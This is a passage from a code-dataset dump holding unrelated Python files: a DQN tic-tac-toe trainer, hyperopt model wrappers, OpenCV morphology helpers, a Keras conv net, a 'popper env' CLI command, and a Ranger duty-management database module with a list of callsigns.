agent.act(state)\n next_state, reward, done = env.step(action,True,False)\n \n #On affiche le move de l'IA\n env.render()\n if(reward == env.rewardBadPlay):\n #L'IA fait un mauvais move\n print(\"Mauvais move IA\")\n continue\n\n\n #On recup le move user\n action = int(input())\n next_state, reward, done = env.step(action,False,False)\n #On affiche le move de l'IA\n env.render()\n\n #On get les pieces J1\n next_state = env.monMorpion.getListePionJ_UN()\n next_state = np.reshape(next_state, [1, state_size])\n state = next_state\n \n \n\n\n scoreTot = 0\n batch_size = (2 * 81)\n cnt = 0\n moyTemp = 0\n cntVictoireIA_temp = 0\n scoreMoy = []\n cntVictoireIA = []\n \n\n for e in range(EPISODES):\n state = env.reset()\n state = np.reshape(state, [1, state_size])\n nbrTour = -1\n done = False\n moyTemp += scoreTot\n scoreTot = 0\n flagWin = False\n\n if(cnt == 20):\n cnt = 0\n\n scoreMoy.append(moyTemp / 20.0)\n cntVictoireIA.append(copy.copy(cntVictoireIA_temp))\n\n moyTemp = 0\n cntVictoireIA_temp = 0\n try :\n\n fig, ax1 = matplotlib.pyplot.subplots()\n \n ax2 = ax1.twinx()\n ax1.plot(scoreMoy, 'g-')\n ax2.plot(cntVictoireIA, 'b-')\n ax1.set_xlabel('Epochs')\n ax1.set_ylabel('Moyenne score IA')\n ax2.set_ylabel('Nbr victoire IA')\n #matplotlib.pyplot.grid(True)\n matplotlib.pyplot.savefig('Train__self_v4.png')\n matplotlib.pyplot.close()\n\n except :\n print(\"Erreur\")\n\n\n while(done == False):\n #env.render()\n nbrTour += 1\n action = agent.act(state)\n next_state, reward, done = env.step(action,True,False)\n scoreTot += reward\n\n if(reward == env.rewardWin):\n flagWin = True\n\n #reward = copy.copy(scoreTot)\n next_state = np.reshape(next_state, [1, state_size])\n agent.memorize(copy.copy(state), copy.copy(action), copy.copy(reward), copy.copy(next_state), copy.copy(done))\n state = next_state\n\n if done:\n cnt +=1\n print(\"episode: {}/{}, nbr tour: {}, reward: {}, victoireIA : {} e: {:.2}\"\n .format(e, EPISODES, nbrTour, scoreTot, flagWin,agent.epsilon))\n #print(\"episode : \" + str(e) + \"/\" + str(EPISODES) + \" reward : \" + str(scoreTot))\n if(flagWin):\n cntVictoireIA_temp += 1\n agent.save(\"./morpion-dqn_vs_self_v4.h5\")\n break\n if len(agent.memory) > batch_size:\n #print(\"DEBUT Replay\")\n agent.replay(batch_size)\n #agent.memory.clear()\n #print(\"FIN Replay\")\n\n if(reward == env.rewardBadPlay):\n done = True\n continue\n\n\n #On gère le jeu adverse\n state = env.monMorpion.getListePionJ_DEUX()\n state = np.reshape(state, [1, state_size])\n epsilonOld = agent.epsilon\n #Permet de changer un peu les move\n agent.epsilon = 0.5\n action = agent.act(state)\n #On remet la valeur save\n agent.epsilon = epsilonOld\n next_state, reward, done = env.step(action,False,False)\n next_state = np.reshape(next_state, [1, state_size])\n agent.memorize(copy.copy(state), copy.copy(action), copy.copy(reward), copy.copy(next_state), copy.copy(done))\n\n if(reward == env.rewardBadPlay):\n done = True\n continue\n\n next_state = env.monMorpion.getListePionJ_UN()\n #conversion du state\n next_state = np.reshape(next_state, [1, state_size])\n state = next_state\n\n \n\n\n # if e % 10 == 0:\n # agent.save(\"./save/cartpole-dqn.h5\")","sub_path":"dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":9169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"484641935","text":"from tqdm import tqdm\nfrom sys import argv\nimport wandb\n\napi = wandb.Api()\n\nruns = api.runs(\"shivamshrirao/\"+argv[1])\n\nfor run in tqdm(runs):\n if run.id != \"3vhz3cie\":\n print(run)\n run.config[\"dropout_type\"] = \"Dropout\"\n run.update()","sub_path":"update_config.py","file_name":"update_config.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"93249758","text":"from __future__ import absolute_import\nfrom abc import abstractmethod, ABCMeta\nfrom hyperopt.pyll.base import scope\nimport h2o\nimport hyperopt\nimport numpy as np\nimport os\nimport pandas as pd\nimport pickle\nimport sklearn.metrics\n\n\nclass BaseModel:\n __metaclass__ = ABCMeta\n split_data = None\n all_data = None\n\n def __init__(self):\n self.model = None\n self.eval = None\n self.raw_model_para = dict()\n self.best_model_para = dict()\n self.other_para = dict()\n self.int_params_list = list()\n self.auto_tune = False\n self.auto_tune_rounds = None\n\n @classmethod\n def set_data(cls, split_data=None, all_data=None):\n cls.split_data = split_data\n cls.all_data = all_data\n\n def adj_params(self, after_ht):\n if type(after_ht) is not bool:\n raise ValueError('after_ht must be Boolean')\n\n if not after_ht:\n for k in self.raw_model_para.keys():\n mode = self.raw_model_para[k]['mode']\n values = self.raw_model_para[k]['values']\n if mode == 'auto':\n self.auto_tune = True\n min_val = values.get('min')\n max_val = values.get('max')\n step = values.get('step')\n dtype = values.get('dtype')\n if dtype == 'int':\n self.best_model_para[k] = scope.int(hyperopt.hp.quniform(k, min_val, max_val, step))\n self.int_params_list.append(k)\n elif dtype == 'float':\n self.best_model_para[k] = hyperopt.hp.uniform(k, min_val, max_val)\n elif mode == 'fixed':\n self.best_model_para[k] = values\n else:\n raise ValueError('mode {} is not implemented'.format(mode))\n else:\n trials = hyperopt.Trials()\n best_params = hyperopt.fmin(fn=self._eval_results,\n space=self.best_model_para,\n algo=hyperopt.tpe.suggest,\n max_evals=self.auto_tune_rounds,\n trials=trials)\n for key in best_params.keys():\n if key in self.int_params_list:\n self.best_model_para[key] = int(best_params[key])\n else:\n self.best_model_para[key] = float(best_params[key])\n\n @abstractmethod\n def _eval_results(self, hp_params):\n pass\n\n @abstractmethod\n def train_model(self, *args, **kwargs):\n pass\n\n @abstractmethod\n def predict(self, *args, **kwargs):\n pass\n\n def save_model(self, output_dir, filename):\n # Override this method if the model cannot be pickled\n with open(os.path.join(output_dir, filename), 'wb') as f:\n pickle.dump(self.model, f, pickle.HIGHEST_PROTOCOL)\n\n def load_model(self, input_dir, filename):\n # Override this method if the model cannot be pickled\n with open(os.path.join(input_dir, filename), 'rb') as f:\n self.model = pickle.load(f)\n\n\nclass BaseH2OModel(BaseModel):\n valid_metric = ['mse',\n 'rmse',\n 'mae',\n 'rmsle',\n 'r2',\n 'mean_residual_deviance',\n 'logloss',\n 'mean_per_class_error',\n 'null_degrees_of_freedom',\n 'residual_degrees_of_freedom',\n 'null_deviance',\n 'residual_deviance',\n 'aic',\n 'auc',\n 'gini'\n ]\n categorical_distribution = ['bernoulli',\n 'multinomial']\n\n def __init__(self):\n super(BaseH2OModel, self).__init__()\n self.h2o_metric_fn = None\n self.h2o_estimator = None\n h2o.init()\n\n @staticmethod\n def get_metric(model, metric):\n if type(metric) is not str:\n raise ValueError(\"metric must be a string\")\n lw_metric = metric.lower()\n if lw_metric not in BaseH2OModel.valid_metric:\n raise ValueError(\"{} is not a supported metric.\".format(metric))\n else:\n eval_metric = getattr(model, metric)()\n return eval_metric\n\n def _eval_results(self, hp_params):\n loss_list = list()\n maximize = self.other_para['maximize']\n eval_metric_name = self.other_para['eval_metric_name']\n for s in BaseModel.split_data:\n train_x = s['train_x']\n train_y = s['train_y']\n test_x = s['test_x']\n test_y = s['test_y']\n d_train = h2o.H2OFrame(pd.concat([train_x, train_y], axis=1))\n d_test = h2o.H2OFrame(pd.concat([test_x, test_y], axis=1))\n X_name = list(train_x.columns)\n y_name = list(train_y.columns)[0]\n if hp_params.get('distribution') is not None:\n check = hp_params.get('distribution')\n elif hp_params.get('family') is not None:\n check = hp_params.get('family')\n else:\n check = None\n if check in BaseH2OModel.categorical_distribution or check is None:\n d_train[y_name] = d_train[y_name].asfactor()\n d_test[y_name] = d_test[y_name].asfactor()\n if hp_params.get('hidden') is not None:\n hp_params['hidden'] = list(hp_params['hidden'])\n model = self.h2o_estimator(**hp_params)\n model.train(X_name, y_name, training_frame=d_train, validation_frame=d_test)\n eval_metric = self.get_metric(model=model, metric=eval_metric_name)\n if maximize:\n loss = -1 * eval_metric\n else:\n loss = eval_metric\n loss_list.append(loss)\n output_dict = {'loss': np.average(loss_list),\n 'status': hyperopt.STATUS_OK}\n return output_dict\n\n def train_model(self, *args, **kwargs):\n params = kwargs.get('params')\n maximize = kwargs.get('maximize')\n eval_metric_name = kwargs.get('eval_metric')\n max_autotune_eval_rounds = kwargs.get('max_autotune_eval_rounds')\n\n if params is None:\n raise ValueError(\"params is missing\")\n if maximize is None:\n raise ValueError(\"maximize is missing\")\n if eval_metric_name is None:\n raise ValueError(\"eval_metric is missing\")\n\n self.raw_model_para = params\n self.other_para['eval_metric_name'] = eval_metric_name\n self.other_para['maximize'] = maximize\n self.auto_tune_rounds = max_autotune_eval_rounds\n self.adj_params(after_ht=False)\n\n # Auto-tuning parameters\n if self.auto_tune:\n self.adj_params(after_ht=True)\n\n # Get evaluation metrics\n eval_dict = self._eval_results(hp_params=self.best_model_para)\n if maximize:\n metric_val = -1 * eval_dict['loss']\n else:\n metric_val = eval_dict['loss']\n self.eval = {'metric': self.other_para['eval_metric_name'],\n 'value': metric_val}\n\n # Train on all data\n all_train_x = BaseModel.all_data['train_x']\n all_train_y = BaseModel.all_data['train_y']\n X_name = list(all_train_x.columns)\n y_name = list(all_train_y.columns)[0]\n d_train_all = h2o.H2OFrame(pd.concat([all_train_x, all_train_y], axis=1))\n\n # Cast target column to factor if necessary\n if self.best_model_para.get('distribution') is not None:\n check = self.best_model_para.get('distribution')\n elif self.best_model_para.get('family') is not None:\n check = self.best_model_para.get('family')\n else:\n check = None\n if check in BaseH2OModel.categorical_distribution or check is None:\n d_train_all[y_name] = d_train_all[y_name].asfactor()\n self.model = self.h2o_estimator(**self.best_model_para)\n self.model.train(X_name, y_name, training_frame=d_train_all)\n\n def load_model(self, input_dir, filename):\n self.model = h2o.load_model(os.path.join(input_dir, filename))\n\n def save_model(self, output_dir, filename):\n self.model.model_id = filename\n h2o.save_model(model=self.model,\n path=output_dir,\n force=True)\n\n def predict(self, data=None):\n if data is None:\n data = BaseModel.all_data.get('train_x')\n if self.model is None:\n raise ValueError('model cannot be empty. Train or load model first before making predictions')\n h2o_data = h2o.H2OFrame(data)\n pred = self.model.predict(h2o_data)\n return pred\n\n\nclass BaseSKModel(BaseModel):\n valid_metric = [func for func in dir(sklearn.metrics) if callable(getattr(sklearn.metrics, func))]\n\n def __init__(self):\n super(BaseSKModel, self).__init__()\n self.sk_estimator = None\n\n @staticmethod\n def get_metric(pred, actual, metric):\n if metric == 'roc_auc_score':\n adj_pred = [x[1] for x in pred]\n eval_metric = getattr(sklearn.metrics, metric)(actual, adj_pred)\n else:\n eval_metric = getattr(sklearn.metrics, metric)(actual, pred)\n return eval_metric\n\n def _eval_results(self, hp_params):\n loss_list = list()\n maximize = self.other_para['maximize']\n eval_metric_name = self.other_para['eval_metric_name']\n for s in BaseModel.split_data:\n train_x = s['train_x']\n train_y = s['train_y']\n test_x = s['test_x']\n test_y = s['test_y']\n model = self.sk_estimator(**hp_params)\n model.fit(X=train_x, y=train_y)\n pred = model.predict_proba(X=test_x)\n eval_metric = self.get_metric(pred=pred, actual=test_y, metric=eval_metric_name)\n if maximize:\n loss = -1 * eval_metric\n else:\n loss = eval_metric\n loss_list.append(loss)\n output_dict = {'loss': np.average(loss_list),\n 'status': hyperopt.STATUS_OK}\n return output_dict\n\n def train_model(self, *args, **kwargs):\n params = kwargs.get('params')\n maximize = kwargs.get('maximize')\n eval_metric_name = kwargs.get('eval_metric')\n max_autotune_eval_rounds = kwargs.get('max_autotune_eval_rounds')\n\n if params is None:\n raise ValueError(\"params is missing\")\n if maximize is None:\n raise ValueError(\"maximize is missing\")\n if eval_metric_name is None:\n raise ValueError(\"eval_metric is missing\")\n\n self.raw_model_para = params\n self.other_para['eval_metric_name'] = eval_metric_name\n self.other_para['maximize'] = maximize\n self.auto_tune_rounds = max_autotune_eval_rounds\n self.adj_params(after_ht=False)\n\n # Auto-tuning parameters\n if self.auto_tune:\n self.adj_params(after_ht=True)\n\n # Get evaluation metrics\n eval_dict = self._eval_results(hp_params=self.best_model_para)\n if maximize:\n metric_val = -1 * eval_dict['loss']\n else:\n metric_val = eval_dict['loss']\n self.eval = {'metric': self.other_para['eval_metric_name'],\n 'value': metric_val}\n\n # Train on all data\n all_train_x = BaseModel.all_data['train_x']\n all_train_y = BaseModel.all_data['train_y']\n self.model = self.sk_estimator(**self.best_model_para)\n self.model.fit(X=all_train_x, y=all_train_y)\n\n def predict(self, data=None):\n if data is None:\n data = BaseModel.all_data.get('train_x')\n if self.model is None:\n raise ValueError('model cannot be empty. Train or load model first before making predictions')\n pred = self.model.predict(data)\n return pred\n","sub_path":"structured-data-pipeline/supervised_learning/base_sl_model.py","file_name":"base_sl_model.py","file_ext":"py","file_size_in_byte":12060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"434662689","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nimport copy\n\n\ndef fill_holes(mask):\n im_floodfill = mask.astype(np.uint8).copy()\n h, w = im_floodfill.shape[:2]\n filling_mask = np.zeros((h + 2, w + 2), np.uint8)\n cv2.floodFill(im_floodfill, filling_mask, (0, 0), 1)\n return mask.astype(np.uint8) | (1 - im_floodfill)\n\n\ndef filter_noise(mask):\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (50, 50))\n mask = cv2.morphologyEx(mask.astype(np.uint8), cv2.MORPH_OPEN, kernel)\n mask = cv2.medianBlur(mask, 7)\n return mask\n\n\ndef morphological_filtering(mask):\n \"\"\"\n Apply morphological operations to prepare pixel candidates to be selected as\n a traffic sign or not.\n \"\"\"\n\n mask_filled = fill_holes(mask)\n mask_filtered = filter_noise(mask_filled)\n return mask_filtered\n\n\ndef granulometry(mask, steps, dict_kernels):\n \"\"\"\n Granulometry study used to choose the size of kernels\n \"\"\"\n new_mask = copy.deepcopy(mask.astype(np.uint8))\n g_curve = np.zeros(steps)\n for i in range(steps - 1):\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (i + 1, i + 1))\n remain = cv2.morphologyEx(new_mask, cv2.MORPH_OPEN, kernel)\n g_curve[i + 1] = np.sum(np.abs(np.count_nonzero(remain)))\n new_mask = remain\n\n g_curve[0] = g_curve[1]\n pecstrum = -np.gradient(g_curve)\n pecstrum = np.array(pecstrum)\n plt.plot(pecstrum)\n\n for i in range(2):\n peak = np.where(pecstrum == max(pecstrum))[0][0]\n if peak in dict_kernels.keys():\n dict_kernels[peak] += 1\n else:\n dict_kernels[peak] = 1\n pecstrum[peak] = min(pecstrum)\n return dict_kernels\n","sub_path":"week4/utils/morphology_utils.py","file_name":"morphology_utils.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"296186604","text":"from tensorflow_core.python.keras import Input, Model\nfrom tensorflow_core.python.keras.layers import Conv2D, MaxPool2D, Flatten, Dense\n\n\ndef build_simple_conv_net():\n input = Input(shape=(28, 28, 1))\n x = input\n x = Conv2D(kernel_size=(3, 3), activation='selu', kernel_initializer='lecun_normal', filters=32, padding='same')(x)\n x = MaxPool2D()(x)\n x = Conv2D(kernel_size=(3, 3), activation='selu', kernel_initializer='lecun_normal', filters=64, padding='same')(x)\n x = MaxPool2D()(x)\n x = Conv2D(kernel_size=(7, 7), activation='selu', kernel_initializer='lecun_normal', filters=96, padding='valid')(x)\n x = Flatten()(x)\n x = Dense(10, activation='softmax')(x)\n output = x\n\n return Model(inputs=input, outputs=output)\n","sub_path":"workshop/gan/simpleconvnet/simple_conv_net_model.py","file_name":"simple_conv_net_model.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"162014098","text":"import click\nimport requests\nimport popper.utils as pu\nimport sys\n\nfrom popper.cli import pass_context\n\n\n@click.command('env', short_help='Define or remove execution environments of a'\n ' pipeline.')\n@click.argument('pipeline', required=False)\n@click.option(\n '--add',\n help=\"Comma-separated list of environments to add.\",\n required=False\n)\n@click.option(\n '--rm',\n help=\"Comma-separated list of environments to remove\",\n required=False\n)\n@click.option(\n '--ls',\n help=\"Show a list of available execution environments\",\n is_flag=True\n)\n@click.option(\n '--argument',\n '-arg',\n help=\"Argument given to Docker through Popper\",\n required=False,\n multiple=True\n)\n@pass_context\ndef cli(ctx, pipeline, add, rm, ls, argument):\n \"\"\"Manipulates the environments that are associated to a pipeline. An\n environment is a docker image where a pipeline runs when 'popper run' is\n executed. The 'host' environment is a special case that corresponds to\n the running directly on the environment where the 'popper' command runs,\n i.e. running directly on the host without docker. When a new pipeline is\n created using, the default environment is 'host' (see 'popper init --help'\n for more).\n\n Examples:\n\n popper env mypipeline # show environments for pipeline\n\n popper env mypipeline --add ubuntu-xenial,centos-7.2\n\n popper env mypipeline --rm host\n\n :argument Used to pass an argument to Docker through popper.\n Can be given multiple times (Ignored for 'host').\n\n An example of usage is as follows:\n\n popper env mypipeline --add debian-9 -arg --runtime=runc -arg --ipc=host\n\n This will add to the environment 'debian-9' the set of\n arguments runtime=runc and ipc=host.\n \"\"\"\n config = pu.read_config()\n\n if ls:\n try:\n response = requests.get(\n \"https://hub.docker.com/v2/repositories/\"\n \"falsifiable/popper/tags\")\n environments = []\n for result in response.json()['results']:\n environments.append(result['name'])\n pu.info('environments:')\n pu.print_yaml(environments)\n\n except requests.exceptions.RequestException as e:\n click.echo(click.style(\"Error: \" + str(e), fg='red'), err=True)\n\n sys.exit(0)\n\n if not pipeline:\n get_pipe = pu.in_pipeline(name=True)\n if get_pipe is not None:\n pipeline = get_pipe\n else:\n pu.fail(\"This is not a pipeline\")\n\n if not add and not rm:\n\n if pipeline not in config['pipelines']:\n pu.fail(\"Pipeline '{}' not found in .popper.yml\".format(pipeline))\n\n pu.print_yaml(config['pipelines'][pipeline]['envs'], fg='yellow')\n sys.exit(0)\n\n envs = config['pipelines'][pipeline]['envs']\n args = set(argument)\n\n if add:\n elems = add.split(',')\n environments = set(elems) - set(envs)\n envs.update({env: {'args': []} for env in environments})\n for env in elems:\n envs[env]['args'] = args\n\n if rm:\n for env in rm.split(','):\n if env in envs:\n envs.pop(env)\n else:\n pu.warn('Environment {} not found in {}'.format(env, pipeline))\n\n config['pipelines'][pipeline]['envs'] = envs\n pu.write_config(config)\n","sub_path":"cli/popper/commands/cmd_env.py","file_name":"cmd_env.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"98219379","text":"##\n# See the file COPYRIGHT for copyright information.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n##\n\n\"\"\"\nDuty Management System integration.\n\"\"\"\n\n__all__ = [\n \"DirtShift\",\n \"DMSError\",\n \"DatabaseError\",\n \"DutyManagementSystem\",\n]\n\nfrom time import time as now\nfrom datetime import time as Time\n\nfrom twisted.python.constants import Values, ValueConstant\nfrom twisted.python import log\nfrom twisted.python.failure import Failure\nfrom twisted.internet.defer import succeed\nfrom twisted.enterprise import adbapi\n\nfrom ims.data import Ranger\n\n\n\nclass DirtShift(Values):\n length = 6\n\n Grave = ValueConstant(Time(hour=length*0))\n Morning = ValueConstant(Time(hour=length*1))\n Afternoon = ValueConstant(Time(hour=length*2))\n Swing = ValueConstant(Time(hour=length*3))\n\n @classmethod\n def shiftForTime(cls, time):\n if time.hour >= 24:\n raise ValueError(\"Hour may not be >= 24: {0!r}\".format(time))\n elif time.hour >= cls.Swing.value.hour:\n return cls.Swing\n elif time.hour >= cls.Afternoon.value.hour:\n return cls.Afternoon\n elif time.hour >= cls.Morning.value.hour:\n return cls.Morning\n elif time.hour >= cls.Grave.value.hour:\n return cls.Grave\n else:\n raise ValueError(\"Hour must be >= 0: {0!r}\".format(hour))\n\n\n\nclass DMSError(Exception):\n \"\"\"\n Duty Management System error.\n \"\"\"\n\n\n\nclass DatabaseError(DMSError):\n \"\"\"\n Database error.\n \"\"\"\n\n\n\nclass DutyManagementSystem(object):\n \"\"\"\n Duty Management System\n \"\"\"\n rangers_cache_interval = 60 * 60 * 1 # 1 hour\n\n def __init__(self, host, database, username, password):\n self.host = host\n self.database = database\n self.username = username\n self.password = password\n\n self._rangers = None\n self.rangers_updated = 0\n self.rangers_updating = False\n\n if not host or not database or not username or not password:\n log.msg(\"Unsufficient database connection information for Duty Management System.\")\n self._dbpool = noDatabase\n else:\n self._dbpool = None\n\n\n @property\n def dbpool(self):\n if self._dbpool is None:\n self._dbpool = adbapi.ConnectionPool(\n \"mysql.connector\",\n host = self.host,\n database = self.database,\n user = self.username,\n password = self.password,\n )\n return self._dbpool\n\n\n def rangers(self):\n #\n # No self.dbpool means no database was configured.\n # Return a dummy set for testing.\n #\n if self.dbpool is noDatabase:\n return succeed(\n Ranger(handle, None, None)\n for handle in allRangerHandles\n )\n\n #\n # No Rangers cached.\n #\n if self._rangers is None:\n return self.loadRangers()\n\n #\n # If we've cached the list of Rangers and the cache is older than\n # self.rangers_cache_interval, reload the list.\n #\n if now() - self.rangers_updated > self.rangers_cache_interval:\n self.loadRangers()\n\n return succeed(self._rangers)\n\n\n def loadRangers(self):\n if self.rangers_updating:\n if self._rangers is None:\n return succeed(())\n else:\n return succeed(self._rangers)\n\n self.rangers_updating = True\n\n #\n # Ask the Ranger database for a list of Rangers.\n #\n log.msg(\"{0} Retrieving Rangers from Duty Management System...\".format(self))\n\n d = self.dbpool.runQuery(\"\"\"\n select callsign, first_name, mi, last_name, status\n from person\n where status not in (\n 'prospective', 'alpha',\n 'bonked', 'uberbonked',\n 'deceased'\n )\n \"\"\")\n\n def onError(f):\n self.rangers_updating = False\n log.err(f)\n self._dbpool = None\n return Failure(DatabaseError(f.value))\n\n d.addErrback(onError)\n\n def onData(results):\n self.rangers_updating = False\n\n rangers = [\n Ranger(handle, fullName(first, middle, last), status)\n for handle, first, middle, last, status\n in results\n ]\n\n self._rangers = rangers\n self.rangers_updated = now()\n\n return self._rangers\n\n d.addCallback(onData)\n\n return d\n\n\n\ndef fullName(first, middle, last):\n if middle:\n return \"{first} {middle}. {last}\".format(\n first=first, middle=middle, last=last\n )\n else:\n return \"{first} {last}\".format(\n first=first, middle=middle, last=last\n )\n\n\n\nallRangerHandles = (\n \"2Wilde\",\n \"Abakus\",\n \"Abe\",\n \"ActionJack\",\n \"Africa\",\n \"Akasha\",\n \"Amazon\",\n \"Anime\",\n \"Answergirl\",\n \"Apparatus\",\n \"Archer\",\n \"Atlantis\",\n \"Atlas\",\n \"Atomic\",\n \"Atticus\",\n \"Avatar\",\n \"Awesome Sauce\",\n \"Axle\",\n \"Baby Huey\",\n \"Babylon\",\n \"Bacchus\",\n \"Backbone\",\n \"Bass Clef\",\n \"Batman\",\n \"Bayou\",\n \"Beast\",\n \"Beauty\",\n \"Bedbug\",\n \"Belmont\",\n \"Bender\",\n \"Beow\",\n \"Big Bear\",\n \"BioBoy\",\n \"Bjorn\",\n \"BlackSwan\",\n \"Blank\",\n \"Bluefish\",\n \"Bluetop\",\n \"Bobalicious\",\n \"Bobo\",\n \"Boiler\",\n \"Boisee\",\n \"Boots n Katz\",\n \"Bourbon\",\n \"Boxes\",\n \"BrightHeart\",\n \"Brooklyn\",\n \"Brother\",\n \"Buick\",\n \"Bumblebee\",\n \"Bungee Girl\",\n \"Butterman\",\n \"Buzcut\",\n \"Bystander\",\n \"CCSallie\",\n \"Cabana\",\n \"Cajun\",\n \"Camber\",\n \"Capitana\",\n \"Capn Ron\",\n \"Carbon\",\n \"Carousel\",\n \"Catnip\",\n \"Cattus\",\n \"Chameleon\",\n \"Chenango\",\n \"Cherub\",\n \"Chi Chi\",\n \"Chilidog\",\n \"Chino\",\n \"Chyral\",\n \"Cilantro\",\n \"Citizen\",\n \"Climber\",\n \"Cobalt\",\n \"Coconut\",\n \"Cousteau\",\n \"Cowboy\",\n \"Cracklepop\",\n \"Crawdad\",\n \"Creech\",\n \"Crizzly\",\n \"Crow\",\n \"Cucumber\",\n \"Cursor\",\n \"DL\",\n \"Daffydell\",\n \"Dandelion\",\n \"Debris\",\n \"Decoy\",\n \"Deepwater\",\n \"Delco\",\n \"Deuce\",\n \"Diver Dave\",\n \"Dixie\",\n \"Doc Rox\",\n \"Doodlebug\",\n \"Doom Raider\",\n \"Dormouse\",\n \"Double G\",\n \"Double R\",\n \"Doumbek\",\n \"Ducky\",\n \"Duct Tape Diva\",\n \"Duney Dan\",\n \"DustOff\",\n \"East Coast\",\n \"Easy E\",\n \"Ebbtide\",\n \"Edge\",\n \"El Cid\",\n \"El Weso\",\n \"Eldo\",\n \"Enigma\",\n \"Entheo\",\n \"Esoterica\",\n \"Estero\",\n \"Europa\",\n \"Eyepatch\",\n \"Fable\",\n \"Face Plant\",\n \"Fairlead\",\n \"Falcore\",\n \"Famous\",\n \"Farmer\",\n \"Fat Chance\",\n \"Fearless\",\n \"Feline\",\n \"Feral Liger\",\n \"Fez Monkey\",\n \"Filthy\",\n \"Firecracker\",\n \"Firefly\",\n \"Fishfood\",\n \"Fixit\",\n \"Flat Eric\",\n \"Flint\",\n \"Focus\",\n \"Foofurr\",\n \"FoxyRomaine\",\n \"Freedom\",\n \"Freefall\",\n \"Full Gear\",\n \"Fuzzy\",\n \"G-Ride\",\n \"Gambol\",\n \"Garnet\",\n \"Gecko\",\n \"Gemini\",\n \"Genius\",\n \"Geronimo\",\n \"Gibson\",\n \"Gizmo\",\n \"Godess\",\n \"Godfather\",\n \"Gonzo\",\n \"Goodwood\",\n \"Great White\",\n \"Grim\",\n \"Grofaz\",\n \"Grooves\",\n \"Grounded\",\n \"Guitar Hero\",\n \"Haggis\",\n \"Haiku\",\n \"Halston\",\n \"HappyFeet\",\n \"Harvest\",\n \"Hattrick\",\n \"Hawkeye\",\n \"Hawthorn\",\n \"Hazelnut\",\n \"Heart Touch\",\n \"Heartbeat\",\n \"Heaven\",\n \"Hellboy\",\n \"Hermione\",\n \"Hindsight\",\n \"Hitchhiker\",\n \"Hogpile\",\n \"Hole Card\",\n \"Hollister\",\n \"Homebrew\",\n \"Hookah Mike\",\n \"Hooper\",\n \"Hoopy Frood\",\n \"Horsforth\",\n \"Hot Slots\",\n \"Hot Yogi\",\n \"Howler\",\n \"Hughbie\",\n \"Hydro\",\n \"Ice Cream\",\n \"Igor\",\n \"Improvise\",\n \"Incognito\",\n \"India Pale\",\n \"Inkwell\",\n \"Iron Squirrel\",\n \"J School\",\n \"J.C.\",\n \"JTease\",\n \"Jake\",\n \"Jellyfish\",\n \"Jester\",\n \"Joker\",\n \"Judas\",\n \"Juniper\",\n \"Just In Case\",\n \"Jynx\",\n \"Kamshaft\",\n \"Kansas\",\n \"Katpaw\",\n \"Kaval\",\n \"Keeper\",\n \"Kendo\",\n \"Kermit\",\n \"Kettle-Belle\",\n \"Kilrog\",\n \"Kimistry\",\n \"Kingpin\",\n \"Kiote\",\n \"KitCarson\",\n \"Kitsune\",\n \"Komack\",\n \"Kotekan\",\n \"Krusher\",\n \"Kshemi\",\n \"Kuma\",\n \"Kyrka\",\n \"LK\",\n \"LadyFrog\",\n \"Laissez-Faire\",\n \"Lake Lover\",\n \"Landcruiser\",\n \"Larrylicious\",\n \"Latte\",\n \"Leeway\",\n \"Lefty\",\n \"Legba\",\n \"Legend\",\n \"Lens\",\n \"Librarian\",\n \"Limoncello\",\n \"Little John\",\n \"LiveWire\",\n \"Lodestone\",\n \"Loki\",\n \"Lola\",\n \"Lone Rider\",\n \"LongPig\",\n \"Lorenzo\",\n \"Loris\",\n \"Lothos\",\n \"Lucky Charm\",\n \"Lucky Day\",\n \"Lushus\",\n \"M-Diggity\",\n \"Madtown\",\n \"Magic\",\n \"Magnum\",\n \"Mailman\",\n \"Malware\",\n \"Mammoth\",\n \"Manifest\",\n \"Mankind\",\n \"Mardi Gras\",\n \"Martin Jay\",\n \"Massai\",\n \"Mauser\",\n \"Mavidea\",\n \"Maximum\",\n \"Maxitude\",\n \"Maybe\",\n \"Me2\",\n \"Mellow\",\n \"Mendy\",\n \"Mere de Terra\",\n \"Mickey\",\n \"Milky Wayne\",\n \"MisConduct\",\n \"Miss Piggy\",\n \"Mockingbird\",\n \"Mongoose\",\n \"Monkey Shoes\",\n \"Monochrome\",\n \"Moonshine\",\n \"Morning Star\",\n \"Mouserider\",\n \"Moxie\",\n \"Mr Po\",\n \"Mucho\",\n \"Mufasa\",\n \"Muppet\",\n \"Mushroom\",\n \"NaFun\",\n \"Nekkid\",\n \"Neuron\",\n \"Newman\",\n \"Night Owl\",\n \"Nobooty\",\n \"Nosler\",\n \"Notorious\",\n \"Nuke\",\n \"NumberNine\",\n \"Oblio\",\n \"Oblivious\",\n \"Obtuse\",\n \"Octane\",\n \"Oddboy\",\n \"Old Goat\",\n \"Oliphant\",\n \"One Trip\",\n \"Onyx\",\n \"Orion\",\n \"Osho\",\n \"Oswego\",\n \"Outlaw\",\n \"Owen\",\n \"Painless\",\n \"Pandora\",\n \"Pappa Georgio\",\n \"Paragon\",\n \"PartTime\",\n \"PawPrint\",\n \"Pax\",\n \"Peaches\",\n \"Peanut\",\n \"Phantom\",\n \"Philamonjaro\",\n \"Picante\",\n \"Pigmann\",\n \"Piney Fresh\",\n \"Pinstripes\",\n \"Pinto\",\n 